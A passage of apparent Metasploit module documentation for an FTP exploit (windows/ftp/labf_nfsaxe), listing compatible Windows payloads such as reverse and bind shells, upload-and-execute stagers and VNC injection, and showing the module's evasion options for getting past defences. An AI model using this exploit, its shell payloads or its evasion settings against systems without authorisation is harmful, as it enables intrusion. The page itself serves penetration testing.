   144  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   145  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   146  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   147  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   148  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   149  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   150  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   151  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   152  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   153  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   154  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   155  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   156  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   158  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   159  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   160  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   161  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   162  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   163  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   164  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   165  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   166  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   167  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   168  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   169  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   170  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   171  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   172  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   173  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   175  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   176  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   177  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   178  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   179  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   180  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   181  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   182  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   183  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   184  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   185  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   186  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   188  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   189  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/ftp/labf_nfsaxe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/ftp/labf_nfsaxe) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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References


See Also


Check also the following modules related to this module:

Authors


  • Tulpa
  • Daniel Teixeira

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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